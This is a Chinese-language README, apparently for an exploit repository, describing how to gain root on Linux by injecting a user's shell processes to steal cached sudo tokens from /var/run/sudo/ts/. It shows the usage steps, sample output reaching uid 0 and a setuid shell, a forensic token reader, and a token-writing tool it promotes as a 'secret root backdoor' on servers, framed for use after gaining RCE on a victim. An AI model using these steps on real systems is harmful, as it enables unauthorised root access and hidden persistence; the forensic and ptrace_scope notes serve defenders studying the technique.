我们都注意到,有时 sudo 不会问我们要密码,因为它记住了我们。它是如何记住我们,又是如何识别我们的?我们能否伪造身份并成为 root? 据我所知,这项研究还没有被记录在案,但如果有的话请告诉我。 事实上,sudo 会在 /var/run/sudo/ts/[username] 中为每个 Linux 用户创建一个文件。 这些文件同时包含成功和失败的身份验证记录,然后 sudo 利用这些文件来记住所有已认证的进程。-- @chaignc
这个仓库为你提供:
附注:务必阅读要求!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
The default password timeout is 15 minutes. So if you use sudo twice in 15 minutes (900 seconds), you will not be asked to type the user’s password again.
exploit.sh 会注入当前用户拥有的所有 shell 进程,并利用它们的 sudo 令牌来验证我们自己的 sudo 令牌。它只有区区 3 行 shell 代码,看看吧。
这远不是一种无条件的通用提权方法,但它确实有效。例如,如果你有一个 RCE,又没有用户密码,但受害者使用了 sudo,那么你就可以通过窃取其令牌轻松获得 root 权限。
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
启动两个终端:
如果你在 exploit v1 上运气不佳,试试 v2。
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
输出格式还有待改进,但每个进程的 sudo 尝试都会在 /var/run/sudo/ts/[username] 中有一个条目。 此外,这些文件存储在 tmpfs(内存)中,可以编写一个 volatility 插件来解析这些信息,从而收集 sudo 尝试记录。
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
如果你拥有任意写入能力,就可以为当前进程创建一个 sudo 令牌,从而获得 root 代码执行能力。 请查看 extra_tools 中的 './write_sudo_token $$ > /var/run/sudo/ts/[username]'。
这是一种在很少重启的服务器上创建秘密 root 后门的绝佳方法。 尚未完成,但可以看看 ./extra_tools 中的 './write_sudo_token $$'。
我一直在寻找窃取已死亡进程 sudo 令牌的方法,但这似乎是不可能的,因为它们通过 ((进程启动时间 和 进程会话 id) 或 (tty 启动时间 和 tty 会话 id)) 关联。会话 id(进程 pid)可以被伪装,但进程启动时间无法伪造。
kernel.yama.ptrace_scope = 1
https://www.linusakesson.net/programming/tty/